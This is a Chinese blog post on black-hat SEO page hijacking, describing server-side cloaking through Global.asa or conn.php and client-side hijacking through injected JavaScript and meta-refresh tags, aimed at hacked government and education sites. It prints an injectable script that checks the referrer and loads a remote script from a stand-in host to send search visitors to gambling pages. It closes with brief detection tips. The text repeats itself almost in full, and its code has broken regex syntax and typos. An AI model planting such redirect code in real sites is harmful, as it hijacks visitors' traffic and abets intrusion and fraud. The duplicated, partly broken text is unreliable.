1. 程式人生 > >黑帽SEO-網頁劫持

黑帽SEO-網頁劫持

一段 date test uda blog regexp 返回 入侵服務器 後端

網頁劫持是目前黑帽SEO或者說黑產最喜歡的一種網頁引流方式,此手法往往通過入侵政府、教育機構網站(權重高),修改網站源代碼、放寄生蟲程序、設置二級目錄反向代理等實現。網頁劫持可以分為服務端劫持、客戶端劫持、百度快照劫持、百度搜索劫持等等;表現形式可以是劫持跳轉,也可以是劫持呈現的網頁內容,目前被廣泛應用於私服、博彩等暴利行業。

服務端劫持

服務端劫持也稱為全局劫持,手法為修改網站動態語言文本,判斷訪問來源控制返回內容,從來達到網站劫持的目的。

asp/aspx/php劫持

Global.asa、Global.asax、conn.asp、conn.php等文件比較特殊,作用是在每次執行一個動態腳本的時候,都會先加載該腳本, 然後再執行目標腳本。所以只要在 Global.asa 中寫判斷用戶系統信息的代碼(訪問來源等),如果是蜘蛛訪問則返回關鍵詞網頁(想要推廣的網站),如果是用戶訪問,則返回正常頁面。

客戶端劫持

客戶端劫持的手法也很多,但主要就是2種:js劫持、Header劫持。

js劫持

js劫持目的:通過向目標網頁植入惡意js代碼,控制網站跳轉、隱藏頁面內容、窗口劫持等。

js植入手法:可以通過入侵服務器,直接寫入源代碼中;也可以寫在數據庫中,因為有些頁面會呈現數據庫內容。

js劫持案例

效果:通過搜索引擎搜索點擊頁面(執行一段js)跳轉到博彩頁面;直接輸入網址訪問網頁,跳轉到404頁面。

代碼:

today=new Date(); today=today.getYear()+"-"+(today.getMonth()+1)+"-"+today.getDate(); var regexp=//.(sogou|so|haosou|baidu|google|youdao|yahoo|bing|gougou|118114|vnet|360|ioage|sm|sp)(/.[a-z0-9/-]+){1,2}///ig; var where =document.referer; if(regexp.test(where)){ document.write (‘<script language="javascript" type="text/javascript" src="http://www.xxx.com/test.js"></script>‘); } else { window.location.href="../../404.htm"; } 

  

分析:通過referer判斷來路,如果referer來路為空就是跳轉到404頁面,如果是搜索引擎來的referer裏面也會有顯示,然後在寫代碼控制跳轉。如果只是控制實現顯示不同的內容,可以修改php、asp代碼;如果需要劫持搜索引擎搜索框,可以寫JS代碼來做瀏覽器本地跳轉。當然js功能可以無限擴展,比如可以控制一個ip一天內第一次訪問正常,其余訪問跳轉等等。

header劫持

在源代碼中寫入以下代碼:

<meta http-equiv=“refresh“ content=“10; url=http://www.xksafe.com“> 

  

利用的就是Meta Refresh Tag(自動轉向),將流量引走。

手法對比

客戶端劫持與服務端區別

客戶端劫持:每次訪問網頁從服務端獲取到的網頁代碼都是相同的,只是控制了網頁代碼在瀏覽器中呈現的效果(比如是否進行跳轉等)。

服務端劫持:改變了每次訪問網頁從服務端獲取到的網頁代碼。

客戶端劫持與服務端判斷方法

客戶端劫持的判斷方法:只需觀察瀏覽器呈現的網頁前端代碼,查看是否引用了不當的js,或者其它敏感內容。

服務端劫持的判斷方法:可以通過觀察網站後端代碼,或者通過改變ip,包頭等方式,觀察放回源碼是否不同。

結語: 網頁劫持的方法還有很多,我了解的大概只是皮毛,黑帽SEO技術的水很深,前路漫漫。

網頁劫持是目前黑帽SEO或者說黑產最喜歡的一種網頁引流方式,此手法往往通過入侵政府、教育機構網站(權重高),修改網站源代碼、放寄生蟲程序、設置二級目錄反向代理等實現。網頁劫持可以分為服務端劫持、客戶端劫持、百度快照劫持、百度搜索劫持等等;表現形式可以是劫持跳轉,也可以是劫持呈現的網頁內容,目前被廣泛應用於私服、博彩等暴利行業。

服務端劫持

服務端劫持也稱為全局劫持,手法為修改網站動態語言文本,判斷訪問來源控制返回內容,從來達到網站劫持的目的。

asp/aspx/php劫持

Global.asa、Global.asax、conn.asp、conn.php等文件比較特殊,作用是在每次執行一個動態腳本的時候,都會先加載該腳本, 然後再執行目標腳本。所以只要在 Global.asa 中寫判斷用戶系統信息的代碼(訪問來源等),如果是蜘蛛訪問則返回關鍵詞網頁(想要推廣的網站),如果是用戶訪問,則返回正常頁面。

客戶端劫持

客戶端劫持的手法也很多,但主要就是2種:js劫持、Header劫持。

js劫持

js劫持目的:通過向目標網頁植入惡意js代碼,控制網站跳轉、隱藏頁面內容、窗口劫持等。

js植入手法:可以通過入侵服務器,直接寫入源代碼中;也可以寫在數據庫中,因為有些頁面會呈現數據庫內容。

js劫持案例

效果:通過搜索引擎搜索點擊頁面(執行一段js)跳轉到博彩頁面;直接輸入網址訪問網頁,跳轉到404頁面。

代碼:

today=new Date(); today=today.getYear()+"-"+(today.getMonth()+1)+"-"+today.getDate(); var regexp=//.(sogou|so|haosou|baidu|google|youdao|yahoo|bing|gougou|118114|vnet|360|ioage|sm|sp)(/.[a-z0-9/-]+){1,2}///ig; var where =document.referer; if(regexp.test(where)){ document.write (‘<script language="javascript" type="text/javascript" src="http://www.xxx.com/test.js"></script>‘); } else { window.location.href="../../404.htm"; } 

  

分析:通過referer判斷來路,如果referer來路為空就是跳轉到404頁面,如果是搜索引擎來的referer裏面也會有顯示,然後在寫代碼控制跳轉。如果只是控制實現顯示不同的內容,可以修改php、asp代碼;如果需要劫持搜索引擎搜索框,可以寫JS代碼來做瀏覽器本地跳轉。當然js功能可以無限擴展,比如可以控制一個ip一天內第一次訪問正常,其余訪問跳轉等等。

header劫持

在源代碼中寫入以下代碼:

<meta http-equiv=“refresh“ content=“10; url=http://www.xksafe.com“> 

  

利用的就是Meta Refresh Tag(自動轉向),將流量引走。

手法對比

客戶端劫持與服務端區別

客戶端劫持:每次訪問網頁從服務端獲取到的網頁代碼都是相同的,只是控制了網頁代碼在瀏覽器中呈現的效果(比如是否進行跳轉等)。

服務端劫持:改變了每次訪問網頁從服務端獲取到的網頁代碼。

客戶端劫持與服務端判斷方法

客戶端劫持的判斷方法:只需觀察瀏覽器呈現的網頁前端代碼,查看是否引用了不當的js,或者其它敏感內容。

服務端劫持的判斷方法:可以通過觀察網站後端代碼,或者通過改變ip,包頭等方式,觀察放回源碼是否不同。

黑帽SEO-網頁劫持